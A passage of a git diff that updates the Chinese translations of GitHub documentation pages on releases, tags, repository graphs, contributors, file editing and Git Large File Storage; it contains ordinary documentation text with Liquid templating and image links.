-You can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
+您可以选择是否将 {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) 对象包含在 {% data variables.product.product_name %} 为每个发行版创建的 ZIP 文件和 tarball 中。 更多信息请参阅“[管理仓库存档中的 {% data variables.large_files.product_name_short %} 对象](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)”。
 {% endif %}
 {% endif %}
 
-## Creating a release
-
-{% include tool-switcher %}
+## 创建发行版
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-3. Click **Draft a new release**.
+3. 单击 **Draft a new release（草拟新发行版）**。
 
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}![Releases draft button](/assets/images/help/releases/draft-release-button-with-search.png){% else %}![Releases draft button](/assets/images/help/releases/draft_release_button.png){% endif %}
 4. {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}Click **Choose a tag**, type{% else %}Type{% endif %} a version number for your release{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}, and press **Enter**{% endif %}. Alternatively, select an existing tag.
@@ -51,36 +50,32 @@ You can choose whether {% data variables.large_files.product_name_long %} ({% da
 
    ![Confirm you want to create a new tag](/assets/images/help/releases/releases-tag-create-confirm.png)
    {% else %}
-   ![Releases tagged version](/assets/images/enterprise/releases/releases-tag-version.png)
+   ![发行版标记版本](/assets/images/enterprise/releases/releases-tag-version.png)
 {% endif %}
 5. If you have created a new tag, use the drop-down menu to select the branch that contains the project you want to release.
 
    {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4865 %}![Choose a branch](/assets/images/help/releases/releases-choose-branch.png)
    {% else %}![Releases tagged branch](/assets/images/enterprise/releases/releases-tag-branch.png){% endif %}
-6. Type a title and description for your release.
+6. 键入发行版的标题和说明。
    {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %}
    If you @mention any {% data variables.product.product_name %} users in the description, the published release will include a **Contributors** section with an avatar list of all the mentioned users.
    {%- endif %}
    {% ifversion fpt or ghec %} Alternatively, you can automatically generate your release notes by clicking **Auto-generate release notes**.
    {% endif %}
-   ![Releases description](/assets/images/help/releases/releases_description_auto.png)
-7. Optionally, to include binary files such as compiled programs in your release, drag and drop or manually select files in the binaries box.
-   ![Providing a DMG with the Release](/assets/images/help/releases/releases_adding_binary.gif)
-8. To notify users that the release is not ready for production and may be unstable, select **This is a pre-release**.
-   ![Checkbox to mark a release as prerelease](/assets/images/help/releases/prerelease_checkbox.png)
+   ![发行版说明](/assets/images/help/releases/releases_description_auto.png)
+7. （可选）要在发行版中包含二进制文件（例如已编译的程序），请在二进制文件框中拖放或手动选择文件。 ![通过发行版提供 DMG](/assets/images/help/releases/releases_adding_binary.gif)
+8. 要通知用户发行版本尚不可用于生产，可能不稳定，请选择 **This is a pre-release（这是预发布）**。 ![将版本标记为预发行版的复选框](/assets/images/help/releases/prerelease_checkbox.png)
 {%- ifversion fpt or ghec %}
-1. Optionally, if {% data variables.product.prodname_discussions %} are enabled in the repository, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion.
-  ![Checkbox to create a release discussion and drop-down menu to choose a category](/assets/images/help/releases/create-release-discussion.png)
+1. Optionally, if {% data variables.product.prodname_discussions %} are enabled in the repository, select **Create a discussion for this release**, then select the **Category** drop-down menu and click a category for the release discussion. ![用于创建发行版讨论和下拉菜单以选择类别的复选框](/assets/images/help/releases/create-release-discussion.png)
 {%- endif %}
-9. If you're ready to publicize your release, click **Publish release**. To work on the release later, click **Save draft**.
-   ![Publish release and Draft release buttons](/assets/images/help/releases/release_buttons.png)
+9. 如果您准备推广您的发行版，请单击 **Publish release（发布版本）**。 要在以后处理该发行版，请单击 **Save draft（保存草稿）**。 ![发布版本和草拟发行版按钮](/assets/images/help/releases/release_buttons.png)
 
    {%- ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4972 or ghae-issue-4974 %}
    You can then view your published or draft releases in the releases feed for your repository. For more information, see "[Viewing your repository's releases and tags](/github/administering-a-repository/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags)."
 
    {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
    ![Published release with @mentioned contributors](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
-   {% else %} 
+   {% else %}
    ![Published release with @mentioned contributors](/assets/images/help/releases/releases-overview-with-contributors.png)
    {% endif %}
    {%- endif %}
@@ -108,23 +103,18 @@ If you @mention any {% data variables.product.product_name %} users in the notes
 
 {% endcli %}
 
-## Editing a release
-
-{% include tool-switcher %}
+## 编辑发行版
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-3. On the right side of the page, next to the release you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}.
-  ![Edit a release](/assets/images/help/releases/edit-release-pencil.png)
+3. On the right side of the page, next to the release you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}. ![编辑发行版](/assets/images/help/releases/edit-release-pencil.png)
 {% else %}
-3. On the right side of the page, next to the release you want to edit, click **Edit release**.
-  ![Edit a release](/assets/images/help/releases/edit-release.png)
+3. 在页面右侧要编辑的发行版旁边，单击 **Edit release（编辑发行版）**。 ![编辑发行版](/assets/images/help/releases/edit-release.png)
 {% endif %}
-4. Edit the details for the release in the form, then click **Update release**.{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %} If you add or remove any @mentions of GitHub users in the description, those users will be added or removed from the avatar list in the **Contributors** section of the release.{% endif %}
-  ![Update a release](/assets/images/help/releases/update-release.png)
+4. Edit the details for the release in the form, then click **Update release**.{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4972 %} If you add or remove any @mentions of GitHub users in the description, those users will be added or removed from the avatar list in the **Contributors** section of the release.{% endif %} ![更新发行版](/assets/images/help/releases/update-release.png)
 
 {% endwebui %}
 
@@ -134,25 +124,19 @@ Releases cannot currently be edited with {% data variables.product.prodname_cli
 
 {% endcli %}
 
-## Deleting a release
-
-{% include tool-switcher %}
+## 删除发行版
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-3. On the right side of the page, next to the release you want to delete, click {% octicon "trash" aria-label="The trash icon" %}.
-  ![Delete a release](/assets/images/help/releases/delete-release-trash.png)
+3. On the right side of the page, next to the release you want to delete, click {% octicon "trash" aria-label="The trash icon" %}. ![删除发行版](/assets/images/help/releases/delete-release-trash.png)
 {% else %}
-3. Click the name of the release you wish to delete.
-  ![Link to view release](/assets/images/help/releases/release-name-link.png)
-4. In the upper-right corner of the page, click **Delete**.
-  ![Delete release button](/assets/images/help/releases/delete-release.png)
+3. 单击要删除的发行版的名称。 ![用于查看发行版的链接](/assets/images/help/releases/release-name-link.png)
+4. 在页面右上角，单击 **Delete（删除）**。 ![删除发行版按钮](/assets/images/help/releases/delete-release.png)
 {% endif %}
-5. Click **Delete this release**.
-  ![Confirm delete release](/assets/images/help/releases/confirm-delete-release.png)
+5. 单击 **Delete this release（删除此发行版）**。 ![确认删除发行版](/assets/images/help/releases/confirm-delete-release.png)
 
 {% endwebui %}
 
diff --git a/translations/zh-CN/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md b/translations/zh-CN/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
index 393e6eb56c..7a6a9173a1 100644
--- a/translations/zh-CN/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
+++ b/translations/zh-CN/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your repository's releases and tags
-intro: You can view the chronological history of your repository by release name or tag version number.
+title: 查看仓库的发行版和标记
+intro: 您可以按发行版名称或标记版本号查看仓库的时间记录。
 redirect_from:
   - /articles/working-with-tags
   - /articles/viewing-your-repositorys-tags
@@ -14,29 +14,29 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: View releases & tags
+shortTitle: 查看版本和标记
 ---
+
 {% ifversion fpt or ghae or ghes or ghec %}
 {% tip %}
 
-**Tip**: You can also view a release using the {% data variables.product.prodname_cli %}. For more information, see "[`gh release view`](https://cli.github.com/manual/gh_release_view)" in the {% data variables.product.prodname_cli %} documentation.
+**提示**：您也可以使用 {% data variables.product.prodname_cli %} 查看发行版。 更多信息请参阅 {% data variables.product.prodname_cli %} 文档中的“[`gh 发行版视图`](https://cli.github.com/manual/gh_release_view)”。
 
 {% endtip %}
 {% endif %}
 
-## Viewing releases
+## 查看发行版
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Releases**.
+2. 在 Releases（发行版）页面的顶部，单击 **Releases（发行版）**。
 
-## Viewing tags
+## 查看标记
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Tags**.
-![Tags page](/assets/images/help/releases/tags-list.png)
+2. 在 Releases（版本）页面的顶部，单击 **Tags（标记）**。 ![标记页面](/assets/images/help/releases/tags-list.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Signing tags](/articles/signing-tags)"
+- "[对标记签名](/articles/signing-tags)"
diff --git a/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md b/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
index 2a5f059245..5e8a0f90c2 100644
--- a/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
+++ b/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md
@@ -1,6 +1,6 @@
 ---
-title: About repository graphs
-intro: Repository graphs help you view and analyze data for your repository.
+title: 关于仓库图
+intro: 仓库图可帮助您查看和分析仓库的数据。
 redirect_from:
   - /articles/using-graphs
   - /articles/about-repository-graphs
@@ -14,18 +14,19 @@ versions:
 topics:
   - Repositories
 ---
-A repository's graphs give you information on {% ifversion fpt or ghec %} traffic, projects that depend on the repository,{% endif %} contributors and commits to the repository, and a repository's forks and network. If you maintain a repository, you can use this data to get a better understanding of who's using your repository and why they're using it.
+
+仓库图提供有关 {% ifversion fpt or ghec %} 流量、依赖于仓库的项目、{% endif %}仓库贡献者和提交以及仓库复刻和网络的信息。 如果是您维护仓库，您可以使用此数据更好地了解谁在使用您的仓库，以及为什么使用。
 
 {% ifversion fpt or ghec %}
 
-Some repository graphs are available only in public repositories with {% data variables.product.prodname_free_user %}:
-- Pulse
-- Contributors
-- Traffic
-- Commits
-- Code frequency
-- Network
+有些仓库图仅在具有 {% data variables.product.prodname_free_user %} 的公共仓库中可用：
+- 脉冲
+- 贡献者
+- 流量
+- 提交
+- 代码频率
+- 网络
 
-All other repository graphs are available in all repositories. Every repository graph is available in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, and {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
+所有其他仓库图在所有仓库中可用。 每个仓库图在具有 {% data variables.product.prodname_pro %}、{% data variables.product.prodname_team %} 及 {% data variables.product.prodname_ghe_cloud %} 的公共和私有仓库中可用。 {% data reusables.gated-features.more-info %}
 
 {% endif %}
diff --git a/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md b/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
index 02ea78541a..6646310ffc 100644
--- a/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
+++ b/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing a project's contributors
-intro: 'You can see who contributed commits to a repository{% ifversion fpt or ghec %} and its dependencies{% endif %}.'
+title: 查看项目的贡献者
+intro: '您可以查看向仓库{% ifversion fpt or ghec %}及其依赖项{% endif %}贡献提交的人员。'
 redirect_from:
   - /articles/i-don-t-see-myself-in-the-contributions-graph
   - /articles/viewing-contribution-activity-in-a-repository
@@ -15,38 +15,37 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: View project contributors
+shortTitle: 查看项目贡献者
 ---
-## About contributors
 
-You can view the top 100 contributors to a repository{% ifversion ghes or ghae %}, including commit co-authors,{% endif %} in the contributors graph. Merge commits and empty commits aren't counted as contributions for this graph.
+## 关于贡献者
+
+您可以在贡献者图中查看仓库的前 100 名贡献者{% ifversion ghes or ghae %}，包括提交合作作者{% endif %}。 合并提交和空提交不会计为此图的贡献。
 
 {% ifversion fpt or ghec %}
-You can also see a list of people who have contributed to the project's Python dependencies. To access this list of community contributors, visit `https://github.com/REPO-OWNER/REPO-NAME/community_contributors`.
+您还可以看到为项目的 Python 依赖项做出贡献的人员列表。 要访问此社区贡献者列表，请访问 `https://github.com/REPO-OWNER/REPO-NAME/community_contributors`。
 {% endif %}
 
-## Accessing the contributors graph
+## 访问贡献者图
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.accessing-repository-graphs %}
-3. In the left sidebar, click **Contributors**.
-  ![Contributors tab](/assets/images/help/graphs/contributors_tab.png)
-4. Optionally, to view contributors during a specific time period, click, then drag until the time period is selected. The contributors graph sums weekly commit numbers onto each Sunday, so your time period must include a Sunday.
-  ![Selected time range in the contributors graph](/assets/images/help/graphs/repo_contributors_click_drag_graph.png)
+3. 在左侧边栏中，单击 **Contributors（贡献者）**。 ![贡献者选项卡](/assets/images/help/graphs/contributors_tab.png)
+4. （可选）要查看特定时间段内的贡献者，单击然后拖动，直到选择时间段。 贡献者图在每个周日汇总每周提交数，因此您设置的时间段必须包括周日。 ![贡献者图中选择的时间范围](/assets/images/help/graphs/repo_contributors_click_drag_graph.png)
 
-## Troubleshooting contributors
+## 贡献者疑难解答
 
-If you don't appear in a repository's contributors graph, it may be because:
-- You aren't one of the top 100 contributors.
-- Your commits haven't been merged into the default branch.
-- The email address you used to author the commits isn't connected to your account on {% data variables.product.product_name %}.
+如果您没有在仓库的贡献者图中显示，可能是因为：
+- 您并非前 100 名贡献者之一。
+- 您的提交尚未合并到默认分支。
+- 您用于创作提交的电子邮件地址未连接到到您的 {% data variables.product.product_name %} 帐户。
 
 {% tip %}
 
-**Tip:** To list all commit contributors in a repository, see "[Repositories](/rest/reference/repos#list-contributors)."
+**提示：**要列出仓库中的所有提交贡献者，请参阅“[仓库](/rest/reference/repos#list-contributors)”。
 
 {% endtip %}
 
-If all your commits in the repository are on non-default branches, you won't be in the contributors graph. For example, commits on the `gh-pages` branch aren't included in the graph unless `gh-pages` is the repository's default branch. To have your commits merged into the default branch, you can create a pull request. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+如果仓库中的所有提交均位于非默认分支中，则您不在贡献者图中。 例如，除非 `gh-pages` 是仓库的默认分支，否则 `gh-pages` 分支上的提交不包含在图中。 要将您的提交合并到默认分支，您可以创建拉取请求。 更多信息请参阅“[关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)”。
 
-If the email address you used to author the commits is not connected to your account on {% data variables.product.product_name %}, your commits won't be linked to your account, and you won't appear in the contributors graph. For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address){% ifversion not ghae %}" and "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account){% endif %}."
+如果您用于创作提交的电子邮件地址未连接到您的 {% data variables.product.product_name %} 帐户，则提交不会链接到您的帐户，并且您不会在贡献者图中显示。 更多信息请参阅“[设置提交电子邮件地址](/articles/setting-your-commit-email-address){% ifversion not ghae %}”和“[添加电子邮件地址到 {% data variables.product.prodname_dotcom %} 帐户](/articles/adding-an-email-address-to-your-github-account){% endif %}”。
diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-files/editing-files.md b/translations/zh-CN/content/repositories/working-with-files/managing-files/editing-files.md
index b52562a21b..d752403d54 100644
--- a/translations/zh-CN/content/repositories/working-with-files/managing-files/editing-files.md
+++ b/translations/zh-CN/content/repositories/working-with-files/managing-files/editing-files.md
@@ -1,6 +1,6 @@
 ---
 title: Editing files
-intro: 'You can edit files directly on {% data variables.product.product_name %} in any of your repositories using the file editor.'
+intro: '您可以使用文件编辑器，在任何仓库中的 {% data variables.product.product_name %} 上直接编辑文件。'
 redirect_from:
   - /articles/editing-files
   - /articles/editing-files-in-your-repository
@@ -19,44 +19,39 @@ topics:
 shortTitle: Edit files
 ---
 
-## Editing files in your repository
+## 编辑仓库中的文件
 
 {% tip %}
 
-**Tip**: {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
+**提示**：{% data reusables.repositories.protected-branches-block-web-edits-uploads %}
 
 {% endtip %}
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %}'s file editor uses [CodeMirror](https://codemirror.net/).
+**注意：** {% data variables.product.product_name %} 的文件编辑器使用 [CodeMirror](https://codemirror.net/)。
 
 {% endnote %}
 
-1. In your repository, browse to the file you want to edit.
+1. 在您的仓库中，浏览至要编辑的文件。
 {% data reusables.repositories.edit-file %}
-3. On the **Edit file** tab, make any changes you need to the file.
-![New content in file](/assets/images/help/repository/edit-readme-light.png)
+3. 在 **Edit file（编辑文件）** 选项卡上，对文件做所需的更改。 ![文件中的新内容](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Editing files in another user's repository
+## 编辑其他用户仓库中的文件
 
 When you edit a file in another user's repository, we'll automatically [fork the repository](/articles/fork-a-repo) and [open a pull request](/articles/creating-a-pull-request) for you.
 
-1. In another user's repository, browse to the folder that contains the file you want to edit. Click the name of the file you want to edit.
-2. Above the file content, click {% octicon "pencil" aria-label="The edit icon" %}. At this point, GitHub forks the repository for you.
-3. Make any changes you need to the file.
-![New content in file](/assets/images/help/repository/edit-readme-light.png)
+1. 才其他用户的仓库中，浏览到包含要编辑文件的文件夹。 单击要编辑文件的名称。
+2. 在文件内容上方，单击 {% octicon "pencil" aria-label="The edit icon" %}。 此时，GitHub 会为您复刻仓库。
+3. 对文件做任何需要的更改。 ![文件中的新内容](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
-6. Click **Propose file change**.
-![Commit Changes button](/assets/images/help/repository/propose_file_change_button.png)
-7. Type a title and description for your pull request.
-![Pull Request description page](/assets/images/help/pull_requests/pullrequest-description.png)
-8. Click **Create pull request**.
-![Pull Request button](/assets/images/help/pull_requests/pullrequest-send.png)
+6. 单击 **Propose file change（提议文件更改）**。 ![提交更改按钮](/assets/images/help/repository/propose_file_change_button.png)
+7. 为您的拉取请求输标题和说明。 ![拉取请求说明页面](/assets/images/help/pull_requests/pullrequest-description.png)
+8. 单击 **Create pull request（创建拉取请求）**。 ![拉取请求按钮](/assets/images/help/pull_requests/pullrequest-send.png)
diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
index 284c0fc933..f92dda1ed5 100644
--- a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
+++ b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
@@ -1,5 +1,5 @@
 ---
-title: About Git Large File Storage
+title: 关于 Git Large File Storage
 intro: '{% data variables.product.product_name %} limits the size of files allowed in repositories. To track files beyond this limit, you can use {% data variables.large_files.product_name_long %}.'
 redirect_from:
   - /articles/about-large-file-storage
@@ -14,29 +14,29 @@ versions:
 shortTitle: Git Large File Storage
 ---
 
-## About {% data variables.large_files.product_name_long %}
+## 关于 {% data variables.large_files.product_name_long %}
 
-{% data variables.large_files.product_name_short %} handles large files by storing references to the file in the repository, but not the actual file itself. To work around Git's architecture, {% data variables.large_files.product_name_short %} creates a pointer file which acts as a reference to the actual file (which is stored somewhere else). {% data variables.product.product_name %} manages this pointer file in your repository. When you clone the repository down, {% data variables.product.product_name %} uses the pointer file as a map to go and find the large file for you.
+{% data variables.large_files.product_name_short %} 处理大文件的方式是存储对仓库中文件的引用，而不实际文件本身。 为满足 Git 的架构要求，{% data variables.large_files.product_name_short %} 创建了指针文件，用于对实际文件（存储在其他位置）的引用。 {% data variables.product.product_name %} 在仓库中管理此指针文件。 克隆仓库时，{% data variables.product.product_name %} 使用指针文件作为映射来查找大文件。
 
 {% ifversion fpt or ghec %}
-Using {% data variables.large_files.product_name_short %}, you can store files up to:
+使用 {% data variables.large_files.product_name_short %}，可以将文件存储到：
 
-| Product | Maximum file size |
-|------- | ------- |
-| {% data variables.product.prodname_free_user %} | 2 GB |
-| {% data variables.product.prodname_pro %} | 2 GB |
-| {% data variables.product.prodname_team %} | 4 GB |
+| 产品                                                | 最大文件大小           |
+| ------------------------------------------------- | ---------------- |
+| {% data variables.product.prodname_free_user %} | 2 GB             |
+| {% data variables.product.prodname_pro %}         | 2 GB             |
+| {% data variables.product.prodname_team %}        | 4 GB             |
 | {% data variables.product.prodname_ghe_cloud %} | 5 GB |{% else %}
-Using {% data variables.large_files.product_name_short %}, you can store files up to 5 GB in your repository.
-{% endif %}  
+ 使用 {% data variables.large_files.product_name_short %}，可在仓库中存储最大 5 GB 的文件。
+{% endif %}
 
-You can also use {% data variables.large_files.product_name_short %} with {% data variables.product.prodname_desktop %}. For more information about cloning Git LFS repositories in {% data variables.product.prodname_desktop %}, see "[Cloning a repository from GitHub to GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)."
+您也可以将 {% data variables.large_files.product_name_short %} 与 {% data variables.product.prodname_desktop %} 结合使用。 有关在 {% data variables.product.prodname_desktop %} 中克隆 Git LFS 仓库的更多信息，请参阅"[将仓库从 GitHub 克隆到 GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)"。
 
 {% data reusables.large_files.can-include-lfs-objects-archives %}
 
-## Pointer file format
+## 指针文件格式
 
-{% data variables.large_files.product_name_short %}'s pointer file looks like this:
+{% data variables.large_files.product_name_short %} 的指针文件看起来像：
 
 ```
 version {% data variables.large_files.version_name %}
@@ -44,16 +44,16 @@ oid sha256:4cac19622fc3ada9c0fdeadb33f88f367b541f38b89102a3f1261ac81fd5bcb5
 size 84977953
 ```
 
-It tracks the `version` of {% data variables.large_files.product_name_short %} you're using, followed by a unique identifier for the file (`oid`). It also stores the `size` of the final file.
+它会跟踪所用 {% data variables.large_files.product_name_short %} 的 `version`，后接文件的唯一标识符 (`oid`)。 它还会存储最终文件的 `size`。
 
 {% note %}
 
-**Notes**:
-- {% data variables.large_files.product_name_short %} cannot be used with {% data variables.product.prodname_pages %} sites.
-- {% data variables.large_files.product_name_short %} cannot be used with template repositories.
-  
+**注意**：
+- {% data variables.large_files.product_name_short %} 不能用于 {% data variables.product.prodname_pages %} 站点。
+- {% data variables.large_files.product_name_short %} 不能用于模板仓库。
+
 {% endnote %}
 
-## Further reading
+## 延伸阅读
 
-- "[Collaboration with {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage)"
+- "[使用 {% data variables.large_files.product_name_long %} 进行协作](/articles/collaboration-with-git-large-file-storage)"
diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
index 575108e57e..810e85e013 100644
--- a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
+++ b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
@@ -27,80 +27,80 @@ shortTitle: Large files
 ## About size limits on {% data variables.product.product_name %}
 
 {% ifversion fpt or ghec %}
-{% data variables.product.product_name %} tries to provide abundant storage for all Git repositories, although there are hard limits for file and repository sizes. To ensure performance and reliability for our users, we actively monitor signals of overall repository health. Repository health is a function of various interacting factors, including size, commit frequency, contents, and structure.
+{% data variables.product.product_name %} 尝试为所有 Git 仓库提供丰富的存储空间，尽管文件和仓库大小存在硬性限制。 为确保用户的性能和可靠性，我们积极监控整个仓库运行状况的信号。 仓库运行状况是各种交互因素共同作用的结果，包括大小、提交频率、内容和结构。
 
 ### File size limits
 {% endif %}
 
-{% data variables.product.product_name %} limits the size of files allowed in repositories. If you attempt to add or update a file that is larger than {% data variables.large_files.warning_size %}, you will receive a warning from Git. The changes will still successfully push to your repository, but you can consider removing the commit to minimize performance impact. For more information, see "[Removing files from a repository's history](#removing-files-from-a-repositorys-history)."
+{% data variables.product.product_name %} limits the size of files allowed in repositories. 如果尝试添加或更新大于 {% data variables.large_files.warning_size %} 的文件，您将从 Git 收到警告。 更改仍将成功推送到仓库，但您可以考虑删除提交，以尽量减少对性能的影响。 更多信息请参阅“[从仓库的历史记录中删除文件](#removing-files-from-a-repositorys-history)”。
 
 {% note %}
 
-**Note:** If you add a file to a repository via a browser, the file can be no larger than {% data variables.large_files.max_github_browser_size %}. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
+**注：**如果您通过浏览器将文件添加到仓库，该文件不得大于 {% data variables.large_files.max_github_browser_size %}。 更多信息请参阅“[添加文件到仓库](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)”。
 
 {% endnote %}
 
-{% ifversion ghes %}By default, {% endif %}{% data variables.product.product_name %} blocks pushes that exceed {% data variables.large_files.max_github_size %}. {% ifversion ghes %}However, a site administrator can configure a different limit for {% data variables.product.product_location %}.  For more information, see "[Setting Git push limits](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-git-push-limits)."{% endif %}
+{% ifversion ghes %}默认情况下， {% endif %}{% data variables.product.product_name %} 阻止超过 {% data variables.large_files.max_github_size %} 的推送。 {% ifversion ghes %}但站点管理员可为您的 {% data variables.product.product_location %} 配置不同的限制。  For more information, see "[Setting Git push limits](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-git-push-limits)."{% endif %}
 
 To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[About {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)."
 
-If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %} instead of tracking the files. For more information, see "[Distributing large binaries](#distributing-large-binaries)."
+If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %} instead of tracking the files. 更多信息请参阅“[分发大型二进制文件](#distributing-large-binaries)”。
 
-Git is not designed to handle large SQL files. To share large databases with other developers, we recommend using [Dropbox](https://www.dropbox.com/).
+Git is not designed to handle large SQL files. 要与其他开发者共享大型数据库，建议使用 [Dropbox](https://www.dropbox.com/)。
 
 {% ifversion fpt or ghec %}
 ### Repository size limits
 
-We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. Smaller repositories are faster to clone and easier to work with and maintain. If your repository excessively impacts our infrastructure, you might receive an email from {% data variables.contact.github_support %} asking you to take corrective action. We try to be flexible, especially with large projects that have many collaborators, and will work with you to find a resolution whenever possible. You can prevent your repository from impacting our infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [`github/git-sizer`](https://github.com/github/git-sizer) repository.
+建议仓库保持较小，理想情况下小于 1 GB，强烈建议小于 5 GB。 较小的仓库克隆速度更快，使用和维护更容易。 如果您的仓库过度影响我们的基础架构，您可能会收到来自 {% data variables.contact.github_support %} 的电子邮件，要求您采取纠正措施。 我们力求灵活，特别是对于拥有很多协作者的大型项目，并且尽可能与您一起找到解决方案。 您可以有效地管理仓库的大小和整体运行状况，以免您的仓库影响我们的基础架构。 在 [`github/git-sizer`](https://github.com/github/git-sizer) 仓库中可以找到用于仓库分析的建议和工具。
 
-External dependencies can cause Git repositories to become very large. To avoid filling a repository with external dependencies, we recommend you use a package manager. Popular package managers for common languages include [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), and [Maven](http://maven.apache.org/). These package managers support using Git repositories directly, so you don't need pre-packaged sources.
+外部依赖项可能导致 Git 仓库变得非常大。 为避免外部依赖项填满仓库，建议您使用包管理器。 常用语言的热门包管理器包括 [Bundler](http://bundler.io/)、[Node's Package Manager](http://npmjs.org/) 和 [Maven](http://maven.apache.org/)。 这些包管理器支持直接使用 Git 仓库，因此不需要预打包的来源。
 
-Git is not designed to serve as a backup tool. However, there are many solutions specifically designed for performing backups, such as [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), and [CrashPlan](https://www.crashplan.com/en-us/).
+Git 未设计为用作备份工具。 但有许多专门设计用于执行备份的解决方案例如 [Arq](https://www.arqbackup.com/)、[Carbonite](http://www.carbonite.com/) 和 [CrashPlan](https://www.crashplan.com/en-us/)。
 {% endif %}
 
-## Removing files from a repository's history
+## 从仓库的历史记录中删除文件
 
 {% warning %}
 
-**Warning**: These procedures will permanently remove files from the repository on your computer and {% data variables.product.product_location %}. If the file is important, make a local backup copy in a directory outside of the repository.
